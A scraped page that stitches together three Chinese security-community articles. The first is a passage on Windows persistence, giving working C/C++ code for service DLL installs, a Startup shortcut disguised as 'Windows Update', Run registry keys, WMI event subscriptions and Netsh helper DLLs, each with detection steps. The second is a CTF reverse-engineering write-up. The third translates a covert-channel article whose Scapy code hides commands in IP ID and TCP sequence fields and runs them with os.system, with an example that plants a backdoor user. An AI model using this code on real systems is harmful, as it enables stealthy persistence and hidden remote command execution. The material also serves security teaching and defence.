rc = RegCreateKey(hkRoot, _TEXT(“Parameters”), &hkParam);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
rc = RegSetValueEx(hkParam, _TEXT(“ServiceDll”), 0, REG_EXPAND_SZ, (PBYTE)full_dll_path, lstrlen(full_dll_path) * sizeof(TCHAR) + sizeof(TCHAR));
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
bRet = TRUE;
ERROR_EXIT:
if(hkParam != NULL)
{
RegCloseKey(hkParam);
hkParam = NULL;
}
if(schService != NULL)
{
CloseServiceHandle(schService);
schService = NULL;
}
if(hscm != NULL)
{
CloseServiceHandle(hscm);
hscm = NULL;
}
return bRet;
}
void start_service(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
BOOL add_to_service()
{
//
BOOL bRet = FALSE;
DWORD service_name_size;
TCHAR service_name[MAXBYTE * 2];
service_name_size = sizeof(service_name) / sizeof(TCHAR);
if(install_service(_TEXT(“C:service.dll”),service_name, &service_name_size))
{
start_service(service_name);
_tprintf(_TEXT(“install service successful!!!”));
bRet= TRUE;
}
else
{
_tprintf(_TEXT(“can not install service!!!”));
}
return bRet;
}
而服务DLL也需要满足一定的格式，该服务必须导出ServiceMain()函数并调用RegisterServiceCtrlHandlerEx()函数注册Service
Handler，具体的服务DLL的代码如下如下
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
SERVICE_STATUS_HANDLE g_service_status_handle = NULL;
SERVICE_STATUS g_service_status =
{
SERVICE_WIN32_SHARE_PROCESS,
SERVICE_START_PENDING,
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE
};
DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)
{
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
g_service_status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
g_service_status.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
g_service_status.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
};
SetServiceStatus(g_service_status_handle, &g_service_status);
return NO_ERROR;
}
extern “C” __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)
{
g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT(“Svchost Service”), ServiceHandler, NULL);
if (!g_service_status_handle)
{
return;
}
g_service_status.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_service_status_handle, &g_service_status);
while(TRUE)
{
Sleep(1000);
OutputDebugString(_TEXT(“Hello Topsec In Svchost”));
}
return;
};
### 运行效果图
运行样本文件后，服务被创建起来，在后台稳定运行中。
### 检查及清除方法
3、 监控新服务的创建，检查新服务的关键信息，如ImagePath，对文件进行验证。禁止不明来源服务的安装行为
4、 使用Sysinternals
Autoruns工具检查已有的服务，并验证服务模块的合法性。如验证是否有文件签名、签名是否正常。可以使用AutoRuns工具删除不安全的服务
## 启动项
### 原理及代码介绍
启动项，就是开机的时候系统会在前台或者后台运行的程序。设置启动项的方式分为两种：1. Startup文件夹
文件快捷方式是一种用户界面中的句柄，它允许用户找到或使用位于另一个目录或文件夹的一个文件或资源，快捷方式还可能额外指定命令行参数，从而在运行它时将所定参数传递到目标程序。
Startup文件夹是Windows操作系统中的功能，它使用户能够在Windows启动时自动运行指定的程序集。在不同版本的Windows中，启动文件夹的位置可能略有不同。任何需要在系统启动时自动运行的程序都必须存储为此文件夹中的快捷方式。
攻击者可以通过在Startup目录建立快捷方式以执行其需要持久化的程序。他们可以创建一个新的快捷方式作为间接手段，可以使用伪装看起来像一个合法的程序。攻击者还可以编辑目标路径或完全替换现有快捷方式，以便执行其工具而不是预期的合法程序。
如下的代码演示了在Startup目录建立快捷方式来实现后门持久化：
BOOL add_to_lnkfile()
{
BOOL ret = FALSE;
HRESULT hcode;
TCHAR startup_path[MAX_PATH];
TCHAR save_path[MAX_PATH*2];
TCHAR command[MAXBYTE * 2];
IShellLink* shelllnk = NULL;
IPersistFile* pstfile = NULL;
hcode = CoInitialize(NULL);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&shelllnk);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);
if (hcode != S_OK)
{
goto Error_Exit;
}
//设置快捷方式命令
wsprintf(command, _TEXT(“C:windowssystem32rundll32.exe”));
hcode = shelllnk->SetPath(command);
if (hcode != S_OK)
{
MessageBox(NULL, command, command,MB_OK);
goto Error_Exit;
}
wsprintf(command, _TEXT(“ %s %s”), _TEXT(“c:topsec.dll”), _TEXT(“RunProc”));
hcode = shelllnk->SetArguments(command);
if (hcode != S_OK)
{
goto Error_Exit;
}
wsprintf(command, _TEXT(“%s”), _TEXT(“This is For Windows Update!!!”));
hcode = shelllnk->SetDescription(command);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = shelllnk->SetWorkingDirectory(_TEXT(“c:“));
if (hcode != S_OK)
{
goto Error_Exit;
}
//获取启动目录
if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALSE)
{
goto Error_Exit;
}
wsprintf(save_path, _TEXT(“%s%s”), startup_path, _TEXT(“Windows Update.Lnk”));
hcode = pstfile->Save(save_path, TRUE);
if (hcode != S_OK)
{
goto Error_Exit;
}
ret = TRUE;
Error_Exit:
if (shelllnk != NULL)
{
shelllnk->Release();
shelllnk = NULL;
}
if (pstfile != NULL)
{
pstfile->Release();
pstfile = NULL;
}
CoUninitialize();
return ret;
}
从资源中释放文件的代码如下：
BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)
{
BOOL ret = FALSE;
DWORD cb = NULL;
HRSRC h_resource = NULL;
DWORD resource_size = NULL;
LPVOID resource_pt = NULL;
HGLOBAL h_resource_load = NULL;
HANDLE save_file = NULL;
h_resource = FindResource(NULL, resource_name, resource_type);
if (NULL == h_resource)
{
goto Error_Exit;
}
resource_size = SizeofResource(NULL, h_resource);
if (0 >= resource_size)
{
goto Error_Exit;
}
h_resource_load = LoadResource(NULL, h_resource);
if (NULL == h_resource_load)
{
goto Error_Exit;
}
resource_pt = LockResource(h_resource_load);
if (NULL == resource_pt)
{
goto Error_Exit;
}
save_file = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(save_file == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
for (DWORD i = 0; i < resource_size; i++)
{
if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) == FALSE) ||
(sizeof(BYTE) != cb))
{
goto Error_Exit;
}
}
ret = TRUE;
Error_Exit:
if (h_resource_load != NULL)
{
FreeResource(h_resource_load);
h_resource_load = NULL;
}
if (h_resource != NULL)
{
CloseHandle(h_resource);
h_resource = NULL;
}
return ret;
}
2.Run注册表项
默认情况下，在Windows系统上创建下列运行键：
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce
这个HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx也可用，但在WindowsVista和更新版本上默认不创建。
只需挑选其中一项修改就可以，下面代码以HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun为例：
int main()
{
//HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY hKey;
DWORD dwDisposition;
const char path[] = “C:HelloTopSec.exe”;//hello.exe
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
“SoftwareMicrosoftWindowsCurrentVersionRun”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, “hello”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))))
{
return 0;
}
return 0;
}
### 运行效果图
在Startup目录的快捷方式会在系统启动的时候被执行
HelloTopSec.exe在系统启动的时候被执行
### 检查及清除方法
1、 检查所有位于Startup目录的快捷方式，删除有不明来源的快捷方式
2、 由于快捷方式的目标路径可能不会改变，因此对与已知软件更改，修补程序，删除等无关的快捷方式文件的修改都可能是可疑的。
3、 检查注册表项的更改。
## WMI事件过滤
### 原理及代码介绍
Windows管理规范（Windows Management Instrumentation，缩写WMI）由一系列对Windows Driver
Model的扩展组成，它通过仪器组件提供信息和通知，提供了一个操作系统的接口。从攻击者或防御者的角度来看，WMI最强大的功能之一是WMI能够响应WMI事件。
除了少数例外，WMI事件可用于响应几乎任何操作系统事件。 例如，WMI事件可用于在进程创建时触发事件。
然后，可以将此机制用作在任何Windows操作系统上执行命令行指令。 有两类WMI事件，在单个进程的上下文中本地运行的事件和永久WMI事件过滤。
本地事件持续主机进程的生命周期，而永久WMI事件存储在WMI存储库中，以SYSTEM身份运行，并在重新引导后保持不变。据各安全厂商披露，有不少APT组织使用这种技术来维持后门持久性，如何防御WMI攻击值得安全研究人员进行了解。
WMI允许通过脚本语言(VBScript 或 Windows PowerShell)来管理本地或远程的Windows计算机或服务器，同样的,
微软还为WMI提供了一个称之为Windows Management Instrumentation Command-line（WMIC）的命令行界面，我们还可以通过WMIC工具来管理系统中的WMI。
WMI查询使用WMI查询语言（WQL），它是SQL的一个子集，具有较小的语义更改以支持WMI。WQL支持三种类型的查询，数据查询、架构查询及事件查询。消费者使用事件查询进行注册，以接收事件通知，事件提供程序则使用事件查询进行注册以支持一个或多个事件。
要安装永久WMI事件订阅，需要执行以下三步：
1.注册事件过滤器 – 也就是感兴趣的事件，或者说触发条件
2.注册事件消费者 – 指定触发事件时要执行的操作
3.绑定事件消费者和过滤器 – 将事件过滤器和事件消费者绑定，以在事件触发时执行指定操作。
如下的图是某样本通过PowerShell注册WMI永久事件过滤实现持久化的代码：
如下的代码演示了如何通过利用WMIC工具注册WMI事件来实现后门持久化，
注册的事件会在系统启动时间120后收到通知，执行CMD命令调用Rundll32加载我们指定的DLL并执行其导出函数。
BOOL add_wmi_filter()
{
BOOL ret = FALSE;
int path_len = NULL;
TCHAR* command = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
command = new TCHAR[MAXBYTE * 7];
if (command == NULL)
{
goto ERROR_EXIT;
}
//添加一个 event filter
wsprintf(command, _TEXT(“cmd /c ”wmic /NAMESPACE:”\rootsubscription” PATH __EventFilter CREATE** Name=”TopsecEventFilter”, EventNameSpace=”rootcimv2”,QueryLanguage=”WQL”, Query=”SELECT FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150”””));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
//添加一个事件消费者
wsprintf(command, _TEXT(“cmd /c ”wmic /NAMESPACE:”\rootsubscription” PATH CommandLineEventConsumer CREATE Name=”TopsecConsumer”, ExecutablePath=”C:WindowsSystem32cmd.exe”,CommandLineTemplate=” /c Rundll32 C:topsec.dll RunProc”””));
memset(&pi, 0, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
//绑定事件及消费者
wsprintf(command, _TEXT(“cmd /c ”wmic /NAMESPACE:”\rootsubscription” =PATH __FilterToConsumerBinding CREATE Filter=”__EventFilter.Name=\”TopsecEventFilter\””, Consumer=”CommandLineEventConsumer.Name=\”TopsecConsumer\””””));
memset(&pi, 0, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
ret = TRUE;
ERROR_EXIT:
if (command != NULL)
{
delete[] command;
command = NULL;
}
return ret;
}
有关事件查询的更多信息，可以查看微软在线帮助，接收事件通知。
有关WMI查询的更多信息，可以查看微软在线帮助，使用WQL查询。
关于WMI攻防的更多信息， 也可以参考FireEye发布的白皮书，《WINDOWS MANAGEMENT INSTRUMENTATION (WMI)
OFFENSE, DEFENSE, AND FORENSICS》。
### 运行效果图
运行该程序后，会在系统中安装WMI事件，使用AutoRun工具查看WMI相关的数据
重启电脑，等系统运行时长超过120秒后，触发事件，我们设定的命令被执行
### 检查及清除方法
1、 使用AutoRuns工具检查WMI 订阅，并删除不明来源的事件订阅，可通过与已知良好的常规主机进行对比的方式，来确认事件订阅是否为不明来源。
## Netsh Helper DLL
### 原理及代码介绍
Netsh.exe（也称为Netshell）是一个命令行脚本实用程序，用于与系统的网络配置进行交互。它包含添加辅助DLL以扩展实用程序功能的功能，
使用“netsh add helper”即可注册新的扩展DLL，注册扩展DLL后，在启动Netsh的时候便会加载我们指定的DLL。注册的Netsh
Helper DLL的路径会保存到Windows注册表中的HKLMSOFTWAREMicrosoftNetsh路径下。
当使用另一种持久性技术自动执行netsh.exe时，攻击者可以使用带有Helper DLL的Netsh.exe以持久方式代理执行任意代码。
计划任务程序是Microsoft Windows的一个组件，它提供了在预定义时间或指定时间间隔之后安排程序或脚本启动的功能，
也称为作业调度或任务调度。系统中的schtasks.exe用于管理计划任务，允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。如从计划表中添加和删除任务，按需要启动和停止任务，显示和更改计划任务。
如下的代码演示了攻击者如何通过在Netsh命令添加Helper DLL并通过调用schtasks程序来新建计划任务，实现代码持久化的目的。
BOOL add_to_netsh_helper(LPCTSTR dll_path)
{
BOOL ret = FALSE;
int path_len = NULL;
TCHAR* command = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFO);
path_len = _tcslen(dll_path);
command = new TCHAR[(path_len * sizeof(TCHAR) + sizeof(TCHAR)) * 2];
//添加netsh helper
wsprintf(command, _TEXT("cmd /c "netsh add helper %s""), dll_path);
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
memset(&pi, 0, sizeof(pi));
//添加netsh主程序到计划任务
wsprintf(command, _TEXT("cmd /c "schtasks.exe /create /tn "init" /ru SYSTEM /sc ONSTART /tr "C:\windows\system32\netsh.exe"""));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
ret = TRUE;
ERROR_EXIT:
if (command != NULL)
{
delete[] command;
command = NULL;
}
return ret;
}
其中Netsh Helper DLL需要导出一个函数供 Netsh调用，导出函数原型及关键代码如下：
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(_TEXT(“Load DLL~~”));
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DWORD _stdcall NewThreadProc(LPVOID lpParam)
{
while (TRUE)
{
OutputDebugString(_TEXT(“Netsh Helper, Hello Topsec”));
}
return 0;
}
extern “C” DWORD _stdcall InitHelperDll(DWORD dwNetshVersion, PVOID Reserved)
{
CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);
MessageBox(NULL, _TEXT(“Netsh Helper, Hello Topsec”), NULL, MB_OK);
return NO_ERROR;
}
### 运行效果图
上面的代码首先添加Netsh Helper DLL，然后添加计划任务，在系统启动的时候启动Netsh。 计算机重启后效果如图：
运行后的注册表键值情况如下图所示：
### 检查及清除方法
1、检查注册表路径HKLMSOFTWAREMicrosoftNetsh，查看是否有不明来源的Helper DLL注册信息并删除。
## 总结
以上就是持久化攻击的全部内容了，通过本文总结的这些攻击手段可以看出，有的虽老生常谈，却不可忽视，有的设计很巧妙，令人受益匪浅。它们好像无孔不入，所有的攻击都是为了更隐蔽，更持久的运行。当然，这肯定不是MITRE
ATT&CK™上的所有内容，更不是攻击者的所有手段，一定会有一些攻击手段尚未被发现。想象着，当攻击者不断获取着系统上的信息，而你却不自知时，这是多么可怕！作为安全工作者，我们不应满足于现状，更应该拥有好奇心和创造力，去发现未知的安全隐患。
本文到此就结束了，接下来会根据MITRE ATT&CK™出一系列类似的文章，敬请期待！ | 社区文章 |
# cybrics2021逆向walker
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ida分析
### 1.初次分析
看到有一个start_check函数，跟进分析
看到有一个global_flag数组，不过可以发现是个假flag。
### 2.再分析
再函数栏里有一些名字比较可疑的函数
看到这里可以确定这里才是真正的验证入口
## gdb调试
在这里对每个函数的单独分析的时候可能会有点不完整，在写的时候我想尽可能保留本人当时做题时分析的思路和理由，而不是以一个上帝视角去分析。
### check_substr函数
这个函数名看着就很可疑，就先那它开刀了
第一时间看到这个(v5^a1[a2+i]!=v7[i])再结合函数名，十有八九是验证逻辑了。
有2个比较用到的数组一个是map[]，一个是strings[]
这里一开始的时候也不知道要输入什么，就输入cybrics{aaaa试一下。现在看回来这个尝试的输入，成为了破局的关键。
断点下在比较逻辑之前，这样可以在调试的时候看到v5,a1[a2+i],v7[]的值。
可以知道a1[]就是’c’之后的字符串了，v5的值可以通过异或后再异或来倒推，这里求出v5为0x61，刚好为map[]的第一个值，而v7[]为字符串数组的第二个值。
然后继续运行程序，程序就结束了，证实了确实是验证逻辑。并且有个T5Excrption的函数，猜测这个函数跟退出有关，并且上面也有一个T5Excrption的函数。
利用py求出正确的字符串”REUaG”，再次输入。几次运行后发现比较完后需要继续输入。
输入”caaaa”测试
发现v5的值还是0x61，但是v7[]的字符串变成了字符串数组的第三个值。
可以得到以下猜测：
1.v5=map[10 * x_pos + y_pos]中的x和y是可以通过某些操作改变的。
2.而MOVES的值在每次进入这个函数的时候会加一。
3.T5Excrption的函数跟程序退出有关。
4.利用ida的函数关联功能，发现函数是从make_move函数调用的。
### process_move函数
首先有4个对应关系：
u:T6Exception(x_pos-1,y_pos)
r:T6Exception(x_pos,y_pos+1)
d:T6Exception(x_pos+1,y_pos)
l:T6Exception(x_pos,y_pos-1)
看到这3个if的判断，立刻有感觉了。当时认为是一个10×10的迷宫，并且题目名walker。
再结合check_cubstr函数中对map[]的判断，得出以下迷宫。
把map[x_pos * 10 + y_pos]&1==1的值都标出来。
然后在根据那4个对应关系，u代表up(想上移动一格)，d代表down(向下移动一格)，l代表left(向左移动一格)，r代表right(向右移动一格)。
但是这个迷宫也没有什么规律可言，于是就进入了苦逼的人工爆破时间，顺便找规律。
最终得到以下路径：dddrruurrrrddddllllddrrrrrddlllllll。(还好在每一个点只有唯一选择，不然也没耐心爆下去了，并且最后map[]移动到0x66的时候输入什么会退出程序，又把思路断了)
利用ida的函数关联功能，发现函数也是从make_move函数调用的。
### make_move函数
反汇编码给的信息有点少，所以打算通过gdb和汇编码来分析函数的功能。
不过看到++MOVES;更加肯定进入check_substr函数要经过make_move函数。并且有个jmp rax的汇编，猜测应该是实现了一个选择器功能。
选择在check_substr函数和process_move函数的入口下断点，并进行调试。
发现程序断在了check_substr函数入口。
继续运行
程序断在了process_move函数入口。
这时候可以肯定make_move函数根据输入的字符来跳转到不同的函数。
分析jmp rax附近的汇编
发现一个类似偏移的表，由1个0xffffe7f7,4个0xffffe7b7,若干个0xffffe861,1个0xffffe82f构成。
调试分析表的作用
可以看到表的取值是根据输入字符减去0x63后的值决定的，这里输入字符c，返回的值是表的第一个值。
那可以通过调试分析得到以下对应关系
0xffffe7f7：check_substr
0xffff7b7：process_move
0xffff861：什么都不做，需要继续输入(但是每输入一次MOVES都会自加一)
0xffff82f：不清楚什么功能，但是程序会退出
在看汇编的时候发现在make_move函数有一个这种东西。
提示输入即为flag的内容。
## 综合分析
### 迷宫路径和check函数
把路径和符合check函数的map[]值结合
得到其中红色字为二者重合的地方，猜测flag的逻辑为当移动到map的值为0x61,0x45,0x49,0x71时执行check_substr函数和路径的结合
到这里为止还有一个当输入为字符f的时候的功能还没有弄明白，试一下。
成功get flag。
## 感想
当时做出来这道题的时候，可以说是激动到不行。学了这么久，有一种守得云开见月明的感觉，感觉自己一直以来的努力终于有了结果。可能这种通过一步一步调试分析程序，对程序的感觉从一开始什么都不知道的黑盒，到最后清楚明白程序怎么运行的白盒，才是逆向这个方面吸引我的魅力 | 社区文章 |
# 【技术分享】基于TCP/IP协议栈的隐写术和隐蔽通道（part 1）
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/40891.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】基于TCP/IP协议栈的隐写术和隐蔽通道（part
2）**](http://bobao.360.cn/learning/detail/3755.html)
**
**
**前言**
**在本文中，我们将向读者详细介绍基于TCP/IP协议栈的隐写术和隐蔽通道技术。**
我知道这些都不是什么新鲜玩意，因为只要用google搜索关键词“Covert TCP”你就知道了！虽然这些技术都是“古董级”的（[
**甚至有一个用C语言实现的PoC**](http://www-scf.usc.edu/~csci530l/downloads/covert_tcp.c)），但它们仍然有效，只不过由于某些原因，它们在渗透测试项目中很少用到。也许是因为这些方式不太为人所知，同时缺乏通用的实现所致吧。
然而，这种想法的确很诱人：我们可以使用未严格定义的协议报头中的值来泄漏大量数据，相应的工具可以从这里下载。小伙伴们，开始吧……
**IP标识字段**
**万能的IPv4报头！**
**下面是RFC关于“标识”的“定义”：**
**标识：占16位**
**由发送方分配的帮助组装数据报的片段的标识值。**
这就是标识的定义，实际上就是一个数值——如果存在数据包拆分的话，这个值是有用的；否则的话，这个值就毫无意义了。最终的定义可能是:“只要不使用重复的值就行了”，所以IP实现采用了+1技术。每一个离开机器的新数据包，其ID都会比前一个数据包的ID大1。
然后问题就来了！nmap的空闲扫描就是利用（更像是使用）了这个实现的思想，从而达到了真正难以跟踪的端口扫描目的。它背后的运行机制非常有趣。这是一个邪恶的想法，来自臭名昭着的网络大师。
于是，不同的实现版本使用了不同的实现方式，并在IP标识字段中使用随机值。这正好给了我们梦寐以求的机会！
**随机值：梦想开始的地方！**
我们知道，我们期望的随机值可能会出现在某个字段中，那也没办法…一切都是允许的。
例如：IP标识字节的值可能是数据包中的“FU”，或“GG”，或2个零字节（ x00）。我们不能责怪任何人，这只是巧合而已…这真是太好了！
我们动手吧！（这里会大量用到Scapy和Python，请系好安全带）：
在这里，我们将payload即"Hello！"（6字节）封装在3个IP数据包的标识字段（每个2个字节）中，从发送器传递给接收器。
之后，接收器将重新组合数据包的标识字段，从而复原这个字符串。
相当令人印象深刻！这种做法不仅简单，同时也是难以发现的。我指的是那些数据包的hexdumps：
如果仔细观察，您会发现每个数据包中的"Hello！"字节都是采用的Big Endian顺序（通过网络在Big
Endian中传输的字节数）。它们不仅是可见的，并且也很容易被检测到，但是没人会在数据包报头中寻找数据泄漏隐患。那些数据包可以是虚假的HTTP请求，这样能够彻底误导分析师。
**问题：**
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1956 Aug 2 16:27 /etc/shadow
这是一个值得泄漏的文件，但是传输这个文件需要使用978个数据包，假设我们仅在IP标识字段中封装数据…这里的关键字是“仅”…
**寻找更大的带宽**
在寻找含有更多协议的定义没有占满或定义为随机数的字段的协议的时候，ISN是一个不错的候选者。
说得更精确些，就是TCP。
初始序列号肯定不可能是完全随机的，同时对于每个新的连接来说，还必须是显著不同的（RFC 793，第27页 – 此处）。
长话短说，序列号字段计数在A->
B连接中传送了多少字节。但是，如果所有的连接以初始序列号0为起点（因为它表示还没有传递字节），那么这个值很容易被坏人猜到。猜到这个值以后，他们就能将数据包注入到A->
B连接中，篡改正在传送的内容。例如，更改从FTP或网页下载的.exe文件——看看，这是多么可怕的事情啊！
因此，ISN根据RFC的规定使用了一种定时算法，以便让序列号难以猜中。我们可以肯定地说，ISN具有有效的随机性。游戏开始…
**4个字节？**
在TCP连接中，序列号不是随机的，实际上离随机性差得很远。它们的作用是对连接中各个方向上传输的字节进行计数。随机性取决于第一个（初始）序列号的取值。
所以，我们可以在连接尝试中获得4个字节的“带宽”。这只能用于每个潜在连接的第一个数据包。哈哈，聪明的读者一定想到了端口扫描。
所以，我们可以让一台PC（肉鸡）对我们进行“端口扫描”。尽管这一切看起来像是端口扫描，但实际上是在进行数据渗漏。太坏了！
开始下手:
哦，在此之前，我将在代码中使用下一行:
grep -v '#' /usr/share/nmap/nmap-services | sort -r -k3 | awk '{print $2}' | cut -d/ -f1 | he
ad -$x
当我们从nmap端口使用频率文件获取X个最常见的端口，上面这一行特别有用。它可以与-top-ports选项一起使用。现在，我们要模拟nmap端口扫描…
**见下图：**
这里泄漏了什么？ 密码的哈希值！它只需要17个数据包就够了。
带有实际数据包的.pcap文件可以在这里找到。Wireshark也是不错的分析工具，读者可以尝试通过自己的方式来获取有效载荷。
（值得庆幸的是，scapy将默认的源端口设为20/ftp-data，当然，SANS504是端口扫描最引人入胜的端口，真是明智的做法…）
**彻底颠覆你的思想**
**渗漏就是LAME …**
我的意思是，来吧…要在机器上运行scapy来制作数据包或进行第2层嗅探，你必须拥有机器的root权限。所以，如果你已经获得了一台机器的root权限，那么工作的大头已经完成了，而获取数据只占工作中的小头。您需要远程命令执行。你需要#_
Shell提示符！
但是shell（bind / reverse / web）是可见的，并且很容易被检测到。所以，让我们打造一个隐蔽的Shell。
**优点**
由于没有使用连接，所以它能在OS 4层套接字中实现终极隐身。
IDS / IPS也别想捕获它，因为它们不会检测数据包报头。
防火墙和外围安全设备也记录不到有用的信息。对于没有权限捕获数据包的分析师眼中，一切与端口扫描无异。
**缺点**
不能通过（任何类型）代理工作，因为它们从头开始重新构建所有数据包。
它需要在受害者机器上运行一个程序。
它通常缺乏命令的响应（至少这个版本如此）。
**概念：**
我们要运行一个简单的命令，如下：
useradd -p $(openssl passwd -1 covert_password) covert_user
这样就能在远程机器中创建具有密码的用户。
该命令必须悄悄地潜伏到目标机器上执行。
该命令必须被分割，以放入多个数据包。我们必须创建一个开关，通知侦听器哪个是最后一个数据包，因为不同的命令有不同的长度。
所以我们从数据包的6个字节的可用带宽中牺牲一个字节，将其用于开关。
此外，还有一个填充的概念。如果命令的长度除以5（单个数据包的新带宽）带有余数，则意味着最后一个数据包需要利用额外的字节来填充。这些字节称为填充，需要能够轻松删除或忽略。
**（scapy）代码**
**接收器代码**
from os import system
from struct import pack
payload = ''
while True :
packet = sniff (iface = 'lo', count = 1) [0]
packet_payload = ''.join( pack("<HI", packet.id, packet.seq) )
payload += packet_payload[1:]
if packet_payload[0] == 'xff' :
continue
if packet_payload[0] == 'xdd' :
os.system(payload.replace('x00', ''))
print "Run command '%s'" % payload
payload = ''
这个有点长，不是吗？因为使用Python语言的话需要14行代码。让我们用自然语言试试：
在无限循环中，我们取出看到的第一个数据包，然后重新组合已经拆分放入ID和序列号字段中的字符串我们将该字符串添加到有效载荷中。
如果我们看到字节 xff，那么很好，继续 #这行代码作为附加功能的句柄添加
如果我们看到字节 xdd，这意味着我们得到的数据包是命令中的最后一个包。
我们使用system()在shell中运行命令
宣布我们的任务，让beta测试员开心一下。
清空有效负载字符串，使之为下一个命令做好准备。
从头开始循环
看，只有10行。因为自然语言不需要includes和imports语句。
**发送器代码**
from struct import unpack
def chunker(payload, chunk_size = 5) :
packetN = (len(payload) / chunk_size)
if len(payload) % chunk_size > 0 :
packetN + 1
payload += 'x00' * ( chunk_size - (len(payload) % chunk_size) )
packets = []
payload_chuncks = [payload[x:x + chunk_size] for x in xrange(0, len( payload ), chunk_size
) ]
for i in range( len(payload_chuncks) - 1) :
ip_id, tcp_isn = unpack("<HI", 'xff' + payload_chuncks[i])
packet = IP( id = ip_id )/TCP( seq = tcp_isn )
packets.append( packet )
ip_id, tcp_isn = unpack("<HI", 'xdd' + payload_chuncks[-1])
packet = IP( id = ip_id )/TCP( seq = tcp_isn )
packets.append( packet )
return packets
while True :
payload = raw_input("$> ")
if not payload :
continue
packets = chunker(payload)
send(packets, inter = 0.05)
